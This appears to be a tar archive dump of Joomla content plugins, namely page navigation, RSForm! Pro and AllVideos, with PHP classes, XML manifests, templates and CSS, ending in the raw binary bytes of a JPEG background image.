	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_PAGENAVIGATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagenavigation">pagenavigation.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_content_pagenavigation.ini</language>
		<language tag="en-GB">en-GB.plg_content_pagenavigation.sys.ini</language>
	</languages>
	<config>
		<fields name="params">

			<fieldset name="basic">
				<field
					name="position"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_POSITION_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_POSITION_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_BELOW</option>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE</option>
				</field>

				<field
					name="relative"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE</option>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_TEXT</option>
				</field>

				<field
					name="display"
					type="list"
					label="PLG_PAGENAVIGATION_FIELD_DISPLAY_LABEL"
					description="PLG_PAGENAVIGATION_FIELD_DISPLAY_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">PLG_PAGENAVIGATION_FIELD_VALUE_NEXTPREV</option>
					<option value="1">PLG_PAGENAVIGATION_FIELD_VALUE_TITLE</option>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
                              content/pagenavigation/pagenavigation.php                                                           0000705                 00000016421 15242051520 0014715 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

/**
 * Pagenavigation plugin class.
 *
 * @since  1.5
 */
class PlgContentPagenavigation extends JPlugin
{
	/**
	 * If in the article view and the parameter is enabled shows the page navigation
	 *
	 * @param   string   $context  The context of the content being passed to the plugin
	 * @param   object   &$row     The article object
	 * @param   mixed    &$params  The article params
	 * @param   integer  $page     The 'page' number
	 *
	 * @return  mixed  void or true
	 *
	 * @since   1.6
	 */
	public function onContentBeforeDisplay($context, &$row, &$params, $page = 0)
	{
		$app   = JFactory::getApplication();
		$view  = $app->input->get('view');
		$print = $app->input->getBool('print');

		if ($print)
		{
			return false;
		}

		if ($context === 'com_content.article' && $view === 'article' && $params->get('show_item_navigation'))
		{
			$db       = JFactory::getDbo();
			$user     = JFactory::getUser();
			$lang     = JFactory::getLanguage();
			$nullDate = $db->getNullDate();

			$date = JFactory::getDate();
			$now  = $date->toSql();

			$uid        = $row->id;
			$option     = 'com_content';
			$canPublish = $user->authorise('core.edit.state', $option . '.article.' . $row->id);

			/**
			 * The following is needed as different menu items types utilise a different param to control ordering.
			 * For Blogs the `orderby_sec` param is the order controlling param.
			 * For Table and List views it is the `orderby` param.
			**/
			$params_list = $params->toArray();

			if (array_key_exists('orderby_sec', $params_list))
			{
				$order_method = $params->get('orderby_sec', '');
			}
			else
			{
				$order_method = $params->get('orderby', '');
			}

			// Additional check for invalid sort ordering.
			if ($order_method === 'front')
			{
				$order_method = '';
			}

			// Get the order code
			$orderDate = $params->get('order_date');
			$queryDate = $this->getQueryDate($orderDate);

			// Determine sort order.
			switch ($order_method)
			{
				case 'date' :
					$orderby = $queryDate;
					break;
				case 'rdate' :
					$orderby = $queryDate . ' DESC ';
					break;
				case 'alpha' :
					$orderby = 'a.title';
					break;
				case 'ralpha' :
					$orderby = 'a.title DESC';
					break;
				case 'hits' :
					$orderby = 'a.hits';
					break;
				case 'rhits' :
					$orderby = 'a.hits DESC';
					break;
				case 'order' :
					$orderby = 'a.ordering';
					break;
				case 'author' :
					$orderby = 'a.created_by_alias, u.name';
					break;
				case 'rauthor' :
					$orderby = 'a.created_by_alias DESC, u.name DESC';
					break;
				case 'front' :
					$orderby = 'f.ordering';
					break;
				default :
					$orderby = 'a.ordering';
					break;
			}

			$xwhere = ' AND (a.state = 1 OR a.state = -1)'
				. ' AND (publish_up = ' . $db->quote($nullDate) . ' OR publish_up <= ' . $db->quote($now) . ')'
				. ' AND (publish_down = ' . $db->quote($nullDate) . ' OR publish_down >= ' . $db->quote($now) . ')';

			// Array of articles in same category correctly ordered.
			$query = $db->getQuery(true);

			// Sqlsrv changes
			$case_when = ' CASE WHEN ' . $query->charLength('a.alias', '!=', '0');
			$a_id = $query->castAsChar('a.id');
			$case_when .= ' THEN ' . $query->concatenate(array($a_id, 'a.alias'), ':');
			$case_when .= ' ELSE ' . $a_id . ' END as slug';

			$case_when1 = ' CASE WHEN ' . $query->charLength('cc.alias', '!=', '0');
			$c_id = $query->castAsChar('cc.id');
			$case_when1 .= ' THEN ' . $query->concatenate(array($c_id, 'cc.alias'), ':');
			$case_when1 .= ' ELSE ' . $c_id . ' END as catslug';
			$query->select('a.id, a.title, a.catid, a.language,' . $case_when . ',' . $case_when1)
				->from('#__content AS a')
				->join('LEFT', '#__categories AS cc ON cc.id = a.catid');

			if ($order_method === 'author' || $order_method === 'rauthor')
			{
				$query->select('a.created_by, u.name');
				$query->join('LEFT', '#__users AS u ON u.id = a.created_by');
			}

			$query->where(
					'a.catid = ' . (int) $row->catid . ' AND a.state = ' . (int) $row->state
						. ($canPublish ? '' : ' AND a.access IN (' . implode(',', JAccess::getAuthorisedViewLevels($user->id)) . ') ') . $xwhere
				);
			$query->order($orderby);

			if ($app->isClient('site') && $app->getLanguageFilter())
			{
				$query->where('a.language in (' . $db->quote($lang->getTag()) . ',' . $db->quote('*') . ')');
			}

			$db->setQuery($query);
			$list = $db->loadObjectList('id');

			// This check needed if incorrect Itemid is given resulting in an incorrect result.
			if (!is_array($list))
			{
				$list = array();
			}

			reset($list);

			// Location of current content item in array list.
			$location = array_search($uid, array_keys($list));
			$rows     = array_values($list);

			$row->prev = null;
			$row->next = null;

			if ($location - 1 >= 0)
			{
				// The previous content item cannot be in the array position -1.
				$row->prev = $rows[$location - 1];
			}

			if (($location + 1) < count($rows))
			{
				// The next content item cannot be in an array position greater than the number of array postions.
				$row->next = $rows[$location + 1];
			}

			if ($row->prev)
			{
				$row->prev_label = ($this->params->get('display', 0) == 0) ? JText::_('JPREV') : $row->prev->title;
				$row->prev = JRoute::_(ContentHelperRoute::getArticleRoute($row->prev->slug, $row->prev->catid, $row->prev->language));
			}
			else
			{
				$row->prev_label = '';
				$row->prev = '';
			}

			if ($row->next)
			{
				$row->next_label = ($this->params->get('display', 0) == 0) ? JText::_('JNEXT') : $row->next->title;
				$row->next = JRoute::_(ContentHelperRoute::getArticleRoute($row->next->slug, $row->next->catid, $row->next->language));
			}
			else
			{
				$row->next_label = '';
				$row->next = '';
			}

			// Output.
			if ($row->prev || $row->next)
			{
				// Get the path for the layout file
				$path = JPluginHelper::getLayoutPath('content', 'pagenavigation');

				// Render the pagenav
				ob_start();
				include $path;
				$row->pagination = ob_get_clean();

				$row->paginationposition = $this->params->get('position', 1);

				// This will default to the 1.5 and 1.6-1.7 behavior.
				$row->paginationrelative = $this->params->get('relative', 0);
			}
		}
	}

	/**
	 * Translate an order code to a field for primary ordering.
	 *
	 * @param   string  $orderDate  The ordering code.
	 *
	 * @return  string  The SQL field(s) to order by.
	 *
	 * @since   3.3
	 */
	private static function getQueryDate($orderDate)
	{
		$db = JFactory::getDbo();

		switch ($orderDate)
		{
			// Use created if modified is not set
			case 'modified' :
				$queryDate = ' CASE WHEN a.modified = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.modified END';
				break;

			// Use created if publish_up is not set
			case 'published' :
				$queryDate = ' CASE WHEN a.publish_up = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.publish_up END ';
				break;

			// Use created as default
			case 'created' :
			default :
				$queryDate = ' a.created ';
				break;
		}

		return $queryDate;
	}
}
                                                                                                                                                                                                                                               content/pagenavigation/index.html                                                                   0000705                 00000000037 15242051520 0013201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/pagenavigation/tmpl/default.php                                                             0000705                 00000002577 15242051520 0014330 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Content.pagenavigation
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$lang = JFactory::getLanguage();

?>
<ul class="pager pagenav">
<?php if ($row->prev) :
	$direction = $lang->isRtl() ? 'right' : 'left'; ?>
	<li class="previous">
		<a class="hasTooltip" title="<?php echo htmlspecialchars($rows[$location-1]->title); ?>" aria-label="<?php echo JText::sprintf('JPREVIOUS_TITLE', htmlspecialchars($rows[$location-1]->title)); ?>" href="<?php echo $row->prev; ?>" rel="prev">
			<?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span> <span aria-hidden="true">' . $row->prev_label . '</span>'; ?>
		</a>
	</li>
<?php endif; ?>
<?php if ($row->next) :
	$direction = $lang->isRtl() ? 'left' : 'right'; ?>
	<li class="next">
		<a class="hasTooltip" title="<?php echo htmlspecialchars($rows[$location+1]->title); ?>" aria-label="<?php echo JText::sprintf('JNEXT_TITLE', htmlspecialchars($rows[$location+1]->title)); ?>" href="<?php echo $row->next; ?>" rel="next">
			<?php echo '<span aria-hidden="true">' . $row->next_label . '</span> <span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?>
		</a>
	</li>
<?php endif; ?>
</ul>
                                                                                                                                 content/pagenavigation/tmpl/index.html                                                              0000705                 00000000037 15242051520 0014155 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 content/rsform/index.html                                                                           0000705                 00000000054 15242051520 0011514 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    content/rsform/rsform.xml                                                                           0000705                 00000002013 15242051520 0011546 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="content" method="upgrade">
	<name>Content - RSForm! Pro</name>
	<author>RSJoomla!</author>
	<creationDate>June 2015</creationDate>
	<copyright>(C) 2007-2015 www.rsjoomla.com</copyright>
	<license>GNU General Public License</license>
	<authorEmail>support@rsjoomla.com</authorEmail>
	<authorUrl>www.rsjoomla.com</authorUrl>
	<version>1.51.0</version>
	<scriptfile>script.php</scriptfile>
	
	<updateservers>
        <server type="extension" priority="1" name="RSForm! Pro - Content Plugin">https://www.rsjoomla.com/updates/com_rsform/Plugins/plg_content.xml</server>
    </updateservers>
	
	<description><![CDATA[PLG_CONTENT_RSFORM_DESC]]></description>
	<files>
		<filename plugin="rsform">rsform.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language/en-GB">
		<language tag="en-GB">en-GB.plg_content_rsform.ini</language>
		<language tag="en-GB">en-GB.plg_content_rsform.sys.ini</language>
	</languages>
</extension>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     content/rsform/rsform.php                                                                           0000705                 00000005774 15242051520 0011556 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package RSForm! Pro
* @copyright (C) 2007-2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class plgContentRSForm extends JPlugin
{
	// Check if RSForm! Pro can be loaded
	protected function canRun() {
		if (class_exists('RSFormProHelper')) {
			return true;
		}
		
		$helper = JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/rsform.php';
		if (file_exists($helper)) {
			require_once($helper);
			return true;
		}
		
		return false;
	}
	
	// Joomla! Triggers - onContentBeforeDisplay()
	public function onContentBeforeDisplay($context, &$row, &$params, $page=0) {
		// Don't run this plugin when the content is being indexed
		if ($context == 'com_finder.indexer') {
			return true;
		}
		
		if ($this->canRun()) {
			if (is_object($row) && isset($row->text)) {
				$this->_addForm($row->text);
			} elseif (is_string($row)) {
				$this->_addForm($row);
			}
		}
	}
	
	// Joomla! Triggers - onContentPrepare()
	public function onContentPrepare($context, &$row, &$params, $page=0) {
		// Don't run this plugin when the content is being indexed
		if ($context == 'com_finder.indexer') {
			return true;
		}
		
		if ($this->canRun()) {
			if (is_object($row) && isset($row->text)) {
				$this->_addForm($row->text);
			} elseif (is_string($row)) {
				$this->_addForm($row);
			}
		}
	}
	
	// Syntax replacement function
	protected function _addForm(&$text) {		
		// Performance check
		if (strpos($text, '{rsform ') !== false) {
			// Expression to search for
			$pattern = '#\{rsform (.*?)\}#i';
			// Found matches
			if (preg_match_all($pattern, $text, $matches)) {
				// No replacement when we're not dealing with HTML
				if (JFactory::getDocument()->getType() != 'html') {
					$text = preg_replace($pattern, '', $text);
					return true;
				}
				
				// Load language
				JFactory::getLanguage()->load('com_rsform', JPATH_SITE);
				
				// Disable caching
				$cache = JFactory::getCache('com_content');
				$cache->setCaching(false);
				
				foreach ($matches[0] as $i => $fullMatch) {
					if (preg_match_all('#[a-z0-9_]+=".*?"#i', $matches[1][$i], $attributesMatches)) {
						$data = array();
						
						foreach ($attributesMatches[0] as $pair) {
							list($attribute, $value) = explode('=', $pair, 2);
							
							$attribute  = html_entity_decode($attribute);
							$value 		= html_entity_decode(trim($value, '"'));
							
							if (isset($data[$attribute])) {
								if (!is_array($data[$attribute])) {
									$data[$attribute] = (array) $data[$attribute];
								}
								
								$data[$attribute][] = $value;
							} else {
								$data[$attribute] = $value;
							}
						}
						
						if ($data) {
							JFactory::getApplication()->input->get->set('form', $data);
						}
					}
					
					$pattern = '#\{rsform ([0-9]+)#i';
					if (preg_match($pattern, $fullMatch, $formMatch)) {
						$formId = $formMatch[1];
						$text 	= str_replace($fullMatch, RSFormProHelper::displayForm($formId, true), $text);
					}
				}
			}
		}
	}
}    content/rsform/script.php                                                                           0000705                 00000015667 15242051520 0011554 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package RSForm! Pro
* @copyright (C) 2007-2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class plgContentRSFormInstallerScript
{
	public function preflight($type, $parent) {
		if ($type == 'uninstall') {
			return true;
		}
		
		$app = JFactory::getApplication();
		
		if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/rsform.php')) {
			$app->enqueueMessage('Please install the RSForm! Pro component before continuing.', 'error');
			return false;
		}
		
		if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/assets.php')) {
			$app->enqueueMessage('Please upgrade RSForm! Pro to at least version 1.51.0 before continuing!', 'error');
			return false;
		}
		
		return true;
	}
	
	public function postflight($type, $parent) {
		if ($type == 'uninstall') {
			return true;
		}
		
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('extension_id')
			  ->from($db->qn('#__extensions'))
			  ->where($db->qn('type').' = '.$db->q('plugin'))
			  ->where($db->qn('folder').' = '.$db->q('content'))
			  ->where($db->qn('element').' = '.$db->q('rsform'));
		$pluginId = $db->setQuery($query)->loadResult();
		
		$jversion = new JVersion;
		?>
		<style type="text/css">
		.version-history {
			margin: 0 0 2em 0;
			padding: 0;
			list-style-type: none;
		}
		.version-history > li {
			margin: 0 0 0.5em 0;
			padding: 0 0 0 4em;
			text-align:left;
			font-weight:normal;
		}
		.version-new,
		.version-fixed,
		.version-upgraded {
			float: left;
			font-size: 0.8em;
			margin-left: -4.9em;
			width: 4.5em;
			color: white;
			text-align: center;
			font-weight: bold;
			text-transform: uppercase;
			-webkit-border-radius: 4px;
			-moz-border-radius: 4px;
			border-radius: 4px;
		}

		.version-new {
			background: #7dc35b;
		}
		.version-fixed {
			background: #e9a130;
		}
		.version-upgraded {
			background: #61b3de;
		}
		<?php if (!$jversion->isCompatible('3.0')) { ?>
		.btn {
		  display: inline-block;
		  *display: inline;
		  padding: 4px 12px;
		  margin-bottom: 0;
		  *margin-left: .3em;
		  font-size: 14px;
		  line-height: 20px;
		  color: #333333;
		  text-align: center;
		  text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);
		  vertical-align: middle;
		  cursor: pointer;
		  background-color: #f5f5f5;
		  *background-color: #e6e6e6;
		  background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6);
		  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));
		  background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6);
		  background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);
		  background-image: linear-gradient(to bottom, #ffffff, #e6e6e6);
		  background-repeat: repeat-x;
		  border: 1px solid #cccccc;
		  *border: 0;
		  border-color: #e6e6e6 #e6e6e6 #bfbfbf;
		  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
		  border-bottom-color: #b3b3b3;
		  -webkit-border-radius: 4px;
			 -moz-border-radius: 4px;
				  border-radius: 4px;
		  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0);
		  filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
		  *zoom: 1;
		  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
			 -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
				  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
		}

		.btn:hover,
		.btn:focus,
		.btn:active,
		.btn.active,
		.btn.disabled,
		.btn[disabled] {
		  color: #333333;
		  background-color: #e6e6e6;
		  *background-color: #d9d9d9;
		}

		.btn:active,
		.btn.active {
		  background-color: #cccccc \9;
		}

		.btn:first-child {
		  *margin-left: 0;
		}

		.btn:hover,
		.btn:focus {
		  color: #333333;
		  text-decoration: none;
		  background-position: 0 -15px;
		  -webkit-transition: background-position 0.1s linear;
			 -moz-transition: background-position 0.1s linear;
			   -o-transition: background-position 0.1s linear;
				  transition: background-position 0.1s linear;
		}

		.btn:focus {
		  outline: thin dotted #333;
		  outline: 5px auto -webkit-focus-ring-color;
		  outline-offset: -2px;
		}

		.btn.active,
		.btn:active {
		  background-image: none;
		  outline: 0;
		  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
			 -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
				  box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);
		}

		.btn.disabled,
		.btn[disabled] {
		  cursor: default;
		  background-image: none;
		  opacity: 0.65;
		  filter: alpha(opacity=65);
		  -webkit-box-shadow: none;
			 -moz-box-shadow: none;
				  box-shadow: none;
		}

		.btn-large {
		  padding: 11px 19px;
		  font-size: 17.5px;
		  -webkit-border-radius: 6px;
			 -moz-border-radius: 6px;
				  border-radius: 6px;
		}

		.btn-large [class^="icon-"],
		.btn-large [class*=" icon-"] {
		  margin-top: 4px;
		}

		.btn-primary {
		  color: #ffffff !important;
		  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
		  background-color: #006dcc;
		  *background-color: #0044cc;
		  background-image: -moz-linear-gradient(top, #0088cc, #0044cc);
		  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));
		  background-image: -webkit-linear-gradient(top, #0088cc, #0044cc);
		  background-image: -o-linear-gradient(top, #0088cc, #0044cc);
		  background-image: linear-gradient(to bottom, #0088cc, #0044cc);
		  background-repeat: repeat-x;
		  border-color: #0044cc #0044cc #002a80;
		  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
		  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);
		  filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
		}

		.btn-primary:hover,
		.btn-primary:focus,
		.btn-primary:active,
		.btn-primary.active,
		.btn-primary.disabled,
		.btn-primary[disabled] {
		  color: #ffffff;
		  background-color: #0044cc;
		  *background-color: #003bb3;
		}

		.btn-primary:active,
		.btn-primary.active {
		  background-color: #003399 \9;
		}
		<?php } ?>
		</style>

		<h3>RSForm! Pro Content Plugin v1.51.0 Changelog</h3>
		<ul class="version-history">
			<li><span class="version-new">New</span> Compatibility with RSForm! Pro 1.51.0</li>
		</ul>
		<?php if ($pluginId) { ?>
		<a class="btn btn-primary btn-large" href="<?php echo JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id='.$pluginId); ?>">Start using the RSForm! Pro Content Plugin.</a>
		<?php } ?>
		<a class="btn" href="https://www.rsjoomla.com/support/view-article/146-content-plugin-plgcontent-display-the-form-in-an-article.html" target="_blank">Read the documentation</a>
		<a class="btn" href="https://www.rsjoomla.com/support.html" target="_blank">Get Support!</a>
		<div style="clear: both;"></div>
		<?php
	}
}                                                                         content/jw_allvideos/jw_allvideos/tmpl/Responsive/css/template.css                                  0000705                 00000005142 15242051520 0021604 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

/* General */
.avPlayerWrapper div,
.avPlayerWrapper iframe,
.avPlayerWrapper video,
.avPlayerWrapper audio {outline:0;}

.avDownloadLink {}
.avDownloadLink a,
.avDownloadLink a:link {display:block;background:#eee;padding:10px;text-align:center;font-weight:bold;font-size:12px;color:#999;text-decoration:none;}
.avDownloadLink a:hover {background:#ddd;color:#666;text-decoration:none;}

.avPlayerBlockDisabled {width:auto;height:auto;padding:20px;}
a.avDeprecated,
a.avDeprecated:link {display:block;background:#eee;padding:20px;text-align:center;font-weight:bold;font-size:16px;color:#999;text-decoration:none;}
a.avDeprecated:hover {background:#ddd;color:#666;text-decoration:none;}

/* Responsive Layout */
.avPlayerWrapper {display:block;padding:0;margin:0 auto;clear:both;}
.avPlayerWrapper .avPlayerContainer {display:block;padding:0;margin:0 auto;}

.avPlayerWrapper .avPlayerContainer .avPlayerBlock {width:100% !important;position:relative !important;padding:58% 0 0 0 !important;overflow:hidden;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock iframe,
.avPlayerWrapper .avPlayerContainer .avPlayerBlock video,
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {position:absolute !important;top:0;left:0;width:100% !important;height:100% !important;}

.avPlayerWrapper .avPlayerContainer .avPlayerBlock video {background:#000;}
.avPlayerWrapper .avPlayerContainer .avPlayerBlock audio {background-color:#000;background-repeat:no-repeat;background-position:50% 50%;background-size:cover;padding:10px;box-sizing:border-box;}

.avPlayerWrapper.avNoPoster .avPlayerContainer .avPlayerBlock  {padding:0 !important;}
.avPlayerWrapper.avNoPoster .avPlayerContainer .avPlayerBlock audio {position:relative !important;height:60px !important;}

.avPlayerWrapper.avSoundCloudSet .avPlayerContainer .avPlayerBlock,
.avPlayerWrapper.avSoundCloudSong .avPlayerContainer .avPlayerBlock {padding:0 !important;}
.avPlayerWrapper.avSoundCloudSet .avPlayerContainer .avPlayerBlock iframe {position:relative !important;height:336px !important;}
.avPlayerWrapper.avSoundCloudSong .avPlayerContainer .avPlayerBlock iframe {position:relative !important;height:168px !important;}

.avPlayerWrapper.avMixcloud .avPlayerContainer .avPlayerBlock {padding:0 !important;}
.avPlayerWrapper.avMixcloud .avPlayerContainer .avPlayerBlock iframe {position:relative !important;height:inherit !important;}
                                                                                                                                                                                                                                                                                                                                                                                                                              content/jw_allvideos/jw_allvideos/tmpl/Responsive/default.php                                       0000705                 00000001712 15242051520 0020623 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>

<div class="avPlayerWrapper<?php echo $output->mediaTypeClass; ?>">
    <div class="avPlayerContainer"<?php echo $maxwidth; ?>>
        <div id="<?php echo $output->playerID; ?>" class="avPlayerBlock">
            <?php echo $output->player; ?>
        </div>
        <?php if (($allowVideoDownloading && $output->mediaType == 'video') || ($allowAudioDownloading && $output->mediaType == 'audio')): ?>
        <div class="avDownloadLink">
            <a target="_blank" href="<?php echo $output->source; ?>" download><?php echo JText::_('JW_PLG_AV_DOWNLOAD'); ?></a>
        </div>
        <?php endif; ?>
    </div>
</div>
                                                      content/jw_allvideos/jw_allvideos/tmpl/Framed/default.php                                           0000705                 00000001747 15242051520 0017674 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

?>

<div class="avPlayerWrapper<?php echo $output->mediaTypeClass; ?>">
    <div style="width:<?php echo $output->playerWidth; ?>px;" class="avPlayerContainer">
        <div id="<?php echo $output->playerID; ?>" class="avPlayerBlock">
            <?php echo $output->player; ?>
        </div>
        <?php if (($allowVideoDownloading && $output->mediaType == 'video') || ($allowAudioDownloading && $output->mediaType == 'audio')): ?>
        <div class="avDownloadLink">
            <a target="_blank" href="<?php echo $output->source; ?>" download><?php echo JText::_('JW_PLG_AV_DOWNLOAD'); ?></a>
        </div>
        <?php endif; ?>
    </div>
</div>
                         content/jw_allvideos/jw_allvideos/tmpl/Framed/images/allvideos_v4_bg_1000x550.jpg                   0000705                 00000033353 15242051520 0023631 0                                                                                                    ustar 00                                                                                                                                                                                                                                                        Exif  II*             Ducky     P  -http://ns.adobe.com/xap/1.0/ <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh" xmpMM:InstanceID="xmp.iid:FFD8F70945E711E1A758BBDF62CAD05B" xmpMM:DocumentID="xmp.did:FFD8F70A45E711E1A758BBDF62CAD05B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FFD8F70745E711E1A758BBDF62CAD05B" stRef:documentID="xmp.did:FFD8F70845E711E1A758BBDF62CAD05B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> Adobe d     		

					 &  i          	                  a1AQ!R"B                   ?                           0      P j=q@5H
GhkHKbkBTBkJ`y-
ǀX@{+`RQf#7h3hE͸tGX@eh@ehSIq`5l)J[@ݲ`\iNllЂ-i 4:Ŵ	 %&-  k+++++++h L       N  0      kd    @(Gj{X:75DG%X y-
ǀX@xV).nCEcxàZ=@dF[H-l걒\n27l)-ni. 2ZK2ZK&judd;`JZ_+-           
     L 0   L    f@   4 (
Q@(ǕX4
ǕHtEH%X )ǐn xHtGȏ+h:͠^27m-A^2-@dF[:d@28հ)mv7}}}}}}1mmv	p-b- d tJ   @A   f0       f@   kd     {+j= +AHt%MGht
!MGhtGn<p`yc,
Cj<:)V5<v< {4Xf: T Z2H R- 28l)------N. _`Ų[@Ĥ[*%@5\@ 	@S@S@S@ HSU2  52        	    &   
 Gn<`(Gj{X:75DG%X )ǐn xH !5kǐn3h@eh Z2K{d\-Rn T%G htdd;``M<ZtK        ))
   0   L 0        @@@P j=+Kpy:)E5
ǀX@xHtGycPfy[F-lf)3hh`(@eh Rհ
[@[@ݲ[@[@	ju0i.3m              b4 &   	   		       Q !5j= 7+75DG%X )ǐl`y<j<R< ]l݌F@e@d4n2͠R2-@7qKKhA:)l%ofS&%m-bR6-Uc   
fՉ     .
       L     Q (
Q@5Hd
iR QjR<n :7AX ;# j<AQ`n27lf)іd# jp RR-pS(  `Ipmbfbٱ P k ubH     0     0   f\  {( -V77+5D`RQ!5`RQ!5uäGhd
Ռn27lf)}q7m@[   [ [  [ [ Ŵ	 [  & Ŵ(lW(
Z@  
h
h
h
h
h   E9\ !.
